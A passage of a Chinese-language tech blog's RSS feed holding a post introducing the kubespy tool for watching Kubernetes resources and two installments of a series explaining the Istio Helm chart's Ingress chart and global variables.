&lt;p&gt;&lt;a href=&#34;https://docs.google.com/document/d/1fe7lQUjYKR0cijRmSbH_y0_l3CYPkwtQa5ViywuNo8Q/preview&#34; target=&#34;_blank&#34;&gt;Sandbox Isolation Level Decision&lt;/a&gt; 一文介绍了将此方案落地到 Pod 级的思考过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubespy：实时查看 Kubernetes 资源</title>
      <link>/post/intro-kubespy/</link>
      <pubDate>Wed, 10 Oct 2018 17:00:41 +0800</pubDate>
      <guid>/post/intro-kubespy/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://github.com/pulumi/kubespy&#34; target=&#34;_blank&#34;&gt;kubespy: tools for observing Kubernetes resources in real time
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;一个 &lt;code&gt;Pod&lt;/code&gt; 启动时会发生些什么？一个 &lt;code&gt;Service&lt;/code&gt; 拿到公共 IP 之前又会干点啥？&lt;code&gt;Deployment&lt;/code&gt; 的状态是怎么切换的？&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubespy&lt;/code&gt; 是个小工具，能够轻松的实时查看 Kubernetes 集群里的资源变化。这一工具源自于 &lt;a href=&#34;https://www.pulumi.com/kubernetes/&#34; target=&#34;_blank&#34;&gt;Pulumi CLI&lt;/a&gt; ，其中对 Kubernetes Deployment 的预测做出了一些常识。可以在任何时机运行 &lt;code&gt;kubespy&lt;/code&gt;，它会持续对 Kubernetes 资源进行监控和报告，直到杀掉进程为止。&lt;/p&gt;

&lt;h2 id=&#34;例如&#34;&gt;例如&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kubespy trace deployment nginx&lt;/code&gt; 会对集群中名为 &lt;code&gt;nginx&lt;/code&gt; 的 &lt;code&gt;Deployment&lt;/code&gt; 对象进行跟踪，并将状态信息进行聚合，生成较高级的概要，并且进行实时更新。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/trace-deployment-rollout.gif&#34; alt=&#34;trace deployment rollout&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubespy status v1 Pod nginx&lt;/code&gt; 会等待创建一个叫做 &lt;code&gt;nginx&lt;/code&gt; 的 &lt;code&gt;Pod&lt;/code&gt;，然后持续刷新其状态，并用高亮语法的 JSON 形式展现出来。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/status.gif&#34; alt=&#34;status&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;获取&lt;a href=&#34;https://github.com/pulumi/kubespy/releases&#34; target=&#34;_blank&#34;&gt;最新版本&lt;/a&gt;，重命名为 &lt;code&gt;kubespy&lt;/code&gt;，&lt;code&gt;chmod -x kubespy&lt;/code&gt; 并将其拷贝到可执行路径之中（例如 &lt;code&gt;/usr/local/bin&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;或者&lt;/p&gt;

&lt;p&gt;安装 &lt;a href=&#34;https://golang.org/&#34; target=&#34;_blank&#34;&gt;Go&lt;/a&gt; 1.11 以上版本，然后运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;export GO111MODULE=on

# If $GOBIN is not on your path, you&#39;ll need to install the library elsewhere.
go install github.com/pulumi/kubespy
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;两种方式都能够完成安装。&lt;/p&gt;

&lt;h2 id=&#34;用法&#34;&gt;用法&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kubespy&lt;/code&gt; 有三个子命令：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;status &amp;lt;apiVersion&amp;gt; &amp;lt;kind&amp;gt; [&amp;lt;namespace&amp;gt;/]&amp;lt;name&amp;gt;&lt;/code&gt;：实时跟踪任意 Kubernetes 对象的 &lt;code&gt;.status&lt;/code&gt; 字段，并用 JSON Diff 的方式进行展示。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;changes &amp;lt;apiVersion&amp;gt; &amp;lt;kind&amp;gt; [&amp;lt;namespace&amp;gt;/]&amp;lt;name&amp;gt;&lt;/code&gt;：实时获取一个 Kubernetes 资源的所有字段的所有变化，用 JSON Diff 进行展示。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;trace &amp;lt;kind&amp;gt; [&amp;lt;namespace&amp;gt;/]&amp;lt;name&amp;gt;&lt;/code&gt;：对复杂 Kubernetes 资源进行跟踪，在整个集群范围内进行聚合，生成汇总信息，并保持实时更新。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - Ingress</title>
      <link>/post/istio-helm-deep-dive-ingress/</link>
      <pubDate>Tue, 09 Oct 2018 14:25:42 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-ingress/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;这是《Istio Helm Chart 详解》系列的第三篇。开始逐个 Chart 进行阅读。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;全局变量之后，接下来就是 Ingress 一节了，这个 Chart 只是个兼容选项，为 Istio 提供了传统 Kubernetes Ingress 的功能。&lt;code&gt;ingress.enabled&lt;/code&gt; 变量用于在 &lt;code&gt;requirements.yaml&lt;/code&gt; 中控制该 Chart 是否启用。&lt;/p&gt;

&lt;h2 id=&#34;chart-yaml&#34;&gt;Chart.yaml&lt;/h2&gt;

&lt;p&gt;元数据文件，无需赘述。&lt;/p&gt;

&lt;h2 id=&#34;autoscale-yaml&#34;&gt;autoscale.yaml&lt;/h2&gt;

&lt;p&gt;该文件用于处理该模块的 &lt;a href=&#34;https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/&#34; target=&#34;_blank&#34;&gt;HPA 对象&lt;/a&gt;。引用变量如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ingress.autoscaleMin&lt;/strong&gt;：水平伸缩的 Pod 数量下限，另外该变量被赋值的情况下才会渲染 HPA 对象。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ingress.autoscaleMax&lt;/strong&gt;：水平伸缩的 Pod 数量上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Release.Namespace&lt;/strong&gt;：HPA 对象所在的命名空间，使用 Istio 同一值。Release 是 Helm 的保留字，用于标识该 Release 所在的命名空间。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;代码中我们看到，&lt;code&gt;targetAverageUtilization&lt;/code&gt; 设置为固定值 &lt;code&gt;80&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;serviceaccount-yaml&#34;&gt;serviceaccount.yaml&lt;/h2&gt;

&lt;p&gt;这个模板用于为 Pod 生成 Service Account——&lt;code&gt;istio-ingress-service-account&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;其中引用变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;global.imagePullSecrets&lt;/strong&gt;：全局变量定义的数组，提供给 Service Account，在拉取镜像时使用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chart&lt;/strong&gt; 和 &lt;strong&gt;Release&lt;/strong&gt; 都是 Helm 的内置对象。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;clusterrole-yaml-和-clusterrolebinding-yaml&#34;&gt;clusterrole.yaml 和 clusterrolebinding.yaml&lt;/h2&gt;

&lt;p&gt;Kubernetes &lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/rbac/&#34; target=&#34;_blank&#34;&gt;RBAC&lt;/a&gt; 系统使用，这是一个集群范围内生效的 ClusterRole，声明了 Ingress 中需要的两组权限，并最终和 Service Account 进行绑定：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对于 extensions.thirdpartyresources 和 extensions.ingresses 对象的读写权限。&lt;/li&gt;
&lt;li&gt;对 configmaps、pods、endpoints 和 services 对象的读取权限。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中引用变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;istio.name&lt;/strong&gt;：定义在 istio 的 &lt;code&gt;_helpers.tpl&lt;/code&gt; 中，如果没有使用 &lt;code&gt;nameOverride&lt;/code&gt; 进行覆盖的话，会使用 Chart 名称。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chart&lt;/strong&gt; 和 &lt;strong&gt;Release&lt;/strong&gt; 都是 Helm 的内置对象。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;deployment-yaml&#34;&gt;deployment.yaml&lt;/h2&gt;

&lt;p&gt;这一模板用于生成 Deployment，主体部分和 Ingress Gateway 类似，使用的都是 &lt;code&gt;istio/proxyv2&lt;/code&gt; 镜像，&lt;a href=&#34;https://istio.io/docs/reference/commands/pilot-agent/#pilot-agent-proxy&#34; target=&#34;_blank&#34;&gt;参数稍有区别&lt;/a&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;istio-proxy&lt;/strong&gt;：&lt;code&gt;proxy sidecar&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ingress&lt;/strong&gt;：&lt;code&gt;proxy ingress&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;gateways&lt;/strong&gt;：&lt;code&gt;proxy router&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中引用变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;istio.name&lt;/strong&gt;：定义在 istio 的 &lt;code&gt;_helpers.tpl&lt;/code&gt; 中，如果没有使用 &lt;code&gt;nameOverride&lt;/code&gt; 进行覆盖的话，会使用 Chart 名称。&lt;/li&gt;
&lt;li&gt;使用 Chart 和 Release 数据生成标签。这里可以看到，固定使用 &lt;code&gt;istio: ingress&lt;/code&gt; 提供给 Gateway  Selector 进行选择。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global.hub&lt;/strong&gt; 和 &lt;strong&gt;global.tag&lt;/strong&gt;：生成镜像地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;replicaCount&lt;/strong&gt;：控制 Pod 数量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global.imagePullPolicy&lt;/strong&gt;：拉取策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global.priorityClassName&lt;/strong&gt;：&lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/#priorityclass&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;PriorityClass&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global.proxy.envoyStatsd.enabled&lt;/strong&gt;：如果启用，则加入 &lt;code&gt;--statsdUdpAddress&lt;/code&gt; 参数。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;global.controlPlaneSecurityEnabled&lt;/strong&gt;：根据这一设置确定 &lt;code&gt;controlPlaneAuthPolicy&lt;/code&gt; 设置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# 如果启用
- --controlPlaneAuthPolicy
- MUTUAL_TLS
- --discoveryAddress
- istio-pilot:15005
# 如果没启用
- --controlPlaneAuthPolicy
- NONE
- --discoveryAddress
- istio-pilot:8080
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;resources&lt;/strong&gt; 和 &lt;strong&gt;globale.defaultResources&lt;/strong&gt;：优先使用 Chart 自身的资源定义，如果没有则使用缺省定义。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;nodeaffinity&lt;/strong&gt;：包含节点亲和性定义模板。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外这里还包含了对两个 secret 的可选加载：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;istio.istio-ingress-service-account&lt;/strong&gt;：用于 RBAC 的 Service Account 证书。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;istio-ingress-certs&lt;/strong&gt;：提供 https 服务时使用这一组证书。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;service-yaml&#34;&gt;service.yaml&lt;/h2&gt;

&lt;p&gt;这个模板用来为 Ingress 生成服务。&lt;/p&gt;

&lt;p&gt;引用变量包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;istio.name&lt;/strong&gt;：定义在 istio 的 &lt;code&gt;_helpers.tpl&lt;/code&gt; 中，如果没有使用 &lt;code&gt;nameOverride&lt;/code&gt; 进行覆盖的话，会使用 Chart 名称。&lt;/li&gt;
&lt;li&gt;使用 Chart 和 Release 数据生成标签。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;service.loadBalancerIP&lt;/strong&gt;：如果指定了 IP，则使用指定 IP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;service.type&lt;/strong&gt;：如果没有负载均衡支持，可以考虑采用 NodePort 方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;service.annotations&lt;/strong&gt;：可以设置一系列的键值对，通过遍历的形式为 Service 对象生成注解。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;service.ports&lt;/strong&gt;：可以定义其它的非标准端口，以数组形式供 Helm 进行遍历，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- port: 80
name: http
nodePort: 32000
- port: 443
name: https
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;常用链接&#34;&gt;常用链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Helm 内置对象：&lt;a href=&#34;https://docs.helm.sh/chart_template_guide/#built-in-objects&#34; target=&#34;_blank&#34;&gt;https://docs.helm.sh/chart_template_guide/#built-in-objects&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - 全局变量</title>
      <link>/post/istio-helm-deep-dive-global-var/</link>
      <pubDate>Sun, 07 Oct 2018 10:40:16 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-global-var/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;这是《Istio Helm Chart 详解》系列的第二篇。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;我们在使用现有 Chart 的时候，通常都不会修改 Chart 的本体，仅通过对&lt;a href=&#34;https://docs.helm.sh/chart_template_guide/#variables&#34; target=&#34;_blank&#34;&gt;变量&lt;/a&gt;的控制来实现对部署过程的定制。Istio Helm Chart 提供了大量的变量来帮助用户进行定制。&lt;/p&gt;

&lt;p&gt;第一篇中我们提到过，Istio Chart 分为父子两层，因此变量也具有&lt;a href=&#34;https://docs.helm.sh/chart_template_guide/#subcharts-and-global-values&#34; target=&#34;_blank&#34;&gt;全局和本地&lt;/a&gt;两级，全局变量使用保留字 &lt;code&gt;global&lt;/code&gt; 来进行定义，子 Chart 可以通过 &lt;code&gt;.Values.global&lt;/code&gt; 的方式引用全局变量，而主 Chart 中也可以用 &lt;code&gt;chart.var&lt;/code&gt; 的方式为子 Chart 指定变量值，本篇会首先讲解一下 &lt;code&gt;values.yaml&lt;/code&gt; 中涉及到的全局变量，也就是 &lt;code&gt;global&lt;/code&gt; 一节；各个 Chart 涉及到的专属变量会留在各个 Chart 的章节中。&lt;/p&gt;

&lt;h2 id=&#34;hub-和-tag&#34;&gt;hub 和 tag&lt;/h2&gt;

&lt;p&gt;缺省值分别为 &lt;code&gt;docker.io/istio&lt;/code&gt; 和 &lt;code&gt;1.0.2&lt;/code&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里看到版本的控制主要是在镜像层面的，Chart 自身的版本控制并不是很规矩，差评。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;多数情况下，这一配置代表所有镜像的地址，具体名称一般由 &lt;code&gt;{{ .Values.global.hub }}/[component]/:{{ .Values.global.tag }}&lt;/code&gt; 的形式拼接而成。proxy_init、Mixer、Grafana 和 Pilot 中，一旦其 &lt;code&gt;image&lt;/code&gt; 变量中包含了路径符 &lt;code&gt;/&lt;/code&gt;，则会弃用 &lt;code&gt;global.hub&lt;/code&gt;，直接采用 &lt;code&gt;image&lt;/code&gt; 的定义。&lt;/p&gt;

&lt;h3 id=&#34;影响范围&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/certmanager/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;certmanager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-galley&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/gateways/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有 Gateway 的 Deployment&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-proxy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/create-custom-resources-job.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job：&lt;code&gt;istio-grafana-post-install&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;grafana&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/kiali/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;kiali&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy&lt;/code&gt;/&lt;code&gt;istio-telemetry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-proxy&lt;/code&gt;/&lt;code&gt;mixer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/statsdtoprom.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-statsd-prom-bridge&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/prometheus/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/cleanup-secrets.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job：&lt;code&gt;istio-cleanup-secrets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/create-custom-resources-job.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job：&lt;code&gt;istio-security-post-install&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-citadel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/servicegraph/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;servicegraph&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/sidecarInjectorWebhook/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/tracing/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-tracing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;istio-init&lt;/code&gt;、&lt;code&gt;enable-core-dump&lt;/code&gt;、&lt;code&gt;istio-proxy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;k8singressselector&#34;&gt;k8sIngressSelector&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;ingress&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;这一变量比较 Buggy。原则上讲，他仅在 &lt;code&gt;ingress.enabled&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt; 的时候生效。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-1&#34;&gt;影响范围&lt;/h3&gt;

&lt;h4 id=&#34;charts-pilot-templates-gateway-yaml&#34;&gt;&lt;code&gt;charts/pilot/templates/gateway.yaml&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;这个文件中定义了一个 Gateway - &lt;code&gt;istio-autogenerated-k8s-ingress&lt;/code&gt;，其中的 &lt;code&gt;spec.selector&lt;/code&gt; 是这样设计的：&lt;code&gt;istio: {{ .Values.global.k8sIngressSelector }}&lt;/code&gt;，实际上该文件中并没有针对 &lt;code&gt;ingress.enabled&lt;/code&gt; 开关做出是否生成网关的判断，该网关一定会创建，但是只有在 &lt;code&gt;Ingress&lt;/code&gt; Chart 中才会创建符合该条件的 Deployment，因此在 &lt;code&gt;Ingress&lt;/code&gt; Chart 没有创建的情况下，该网关的 &lt;code&gt;Selector&lt;/code&gt; 就无法匹配成功，也就无法生效了。&lt;/p&gt;

&lt;h4 id=&#34;templates-configmap-yaml&#34;&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;这里会引用 &lt;code&gt;ingress.enabled&lt;/code&gt; 进行判断，如果判断成功，则在 &lt;code&gt;istio&lt;/code&gt; ConfigMap 对象中写入 &lt;code&gt;ingressService: istio-{{ .Values.global.k8sIngressSelector }}&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;k8singresshttps&#34;&gt;k8sIngressHttps&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-2&#34;&gt;影响范围&lt;/h3&gt;

&lt;h4 id=&#34;charts-pilot-templates-gateway-yaml-1&#34;&gt;&lt;code&gt;charts/pilot/templates/gateway.yaml&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;如果启用该字段，会给 Gateway 定义中加入 443 端口及其 TLS 配置。&lt;/p&gt;

&lt;p&gt;这段配置中对 &lt;code&gt;/etc/istio/ingress/certs/&lt;/code&gt; 下面的证书文件有依赖，因此需要启用这一选项，首先要启用 &lt;code&gt;ingress.enabled&lt;/code&gt;，从而能够成功创建 &lt;code&gt;ingress&lt;/code&gt; Chart 的 Deployment；另外还需要创建一个命名为 &lt;code&gt;ingress-certs&lt;/code&gt; 的 tls secret，给 &lt;code&gt;istio-ingress&lt;/code&gt; Deployment 进行加载。这些条件如果没有满足，LDS 会拒绝服务，从而无法提供 Ingress 功能。&lt;/p&gt;

&lt;h2 id=&#34;proxy-image&#34;&gt;proxy.image&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;proxyv2&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-3&#34;&gt;影响范围&lt;/h3&gt;

&lt;h4 id=&#34;istio-templates-sidecar-injector-configmap-yaml&#34;&gt;&lt;code&gt;istio/templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;其中的 ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt; 中的注入部分会使用该值作为 &lt;code&gt;istio-proxy&lt;/code&gt; 的镜像名。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;image: {{ &amp;quot;[[ if (isset .ObjectMeta.Annotations \&amp;quot;sidecar.istio.io/proxyImage\&amp;quot;) -]]&amp;quot; }}
{{ &amp;quot;\&amp;quot;[[ index .ObjectMeta.Annotations \&amp;quot;sidecar.istio.io/proxyImage\&amp;quot; ]]\&amp;quot;&amp;quot; }}
{{ &amp;quot;[[ else -]]&amp;quot; }}
{{ .Values.global.hub }}/{{ .Values.global.proxy.image }}:{{ .Values.global.tag }}
{{ &amp;quot;[[ end -]]&amp;quot; }}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段代码表明，首先会判断 Pod 的 &lt;code&gt;sidecar.istio.io/proxyImage&lt;/code&gt; 注解，如果注解不存在，才会使用这一变量，拼接方式为：&lt;code&gt;{{ .Values.global.hub }}/{{ .Values.global.proxy.image }}:{{ .Values.global.tag }}&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;proxy-resources&#34;&gt;proxy.resources&lt;/h2&gt;

&lt;p&gt;这里为 Sidecar 定义了资源分配的方案。根据官方的&lt;a href=&#34;https://preliminary.istio.io/zh/docs/concepts/performance-and-scalability/#scalability-and-sizing-guide&#34; target=&#34;_blank&#34;&gt;伸缩性和规模调整指南&lt;/a&gt;：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;开启访问日志（默认开启）时，为 Sidecar 每分配 1 个 vCPU 能够负担 1000 qps 的访问峰值，没有开启则 0.5 vCPU 即可负担同样峰值，节点上的 fluentd 由于需要捕获和上传日志，是主要的性能消耗者。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;影响范围-4&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy&lt;/code&gt;/&lt;code&gt;istio-telemetry&lt;/code&gt; Container：&lt;code&gt;istio-proxy&lt;/code&gt;/&lt;code&gt;mixer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;会注入到所有 Pod&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-concurrency&#34;&gt;proxy.concurrency&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;Proxy worker 线程数量，如果设置为 0，则根据 CPU 线程/核的数量进行分配。&lt;/p&gt;

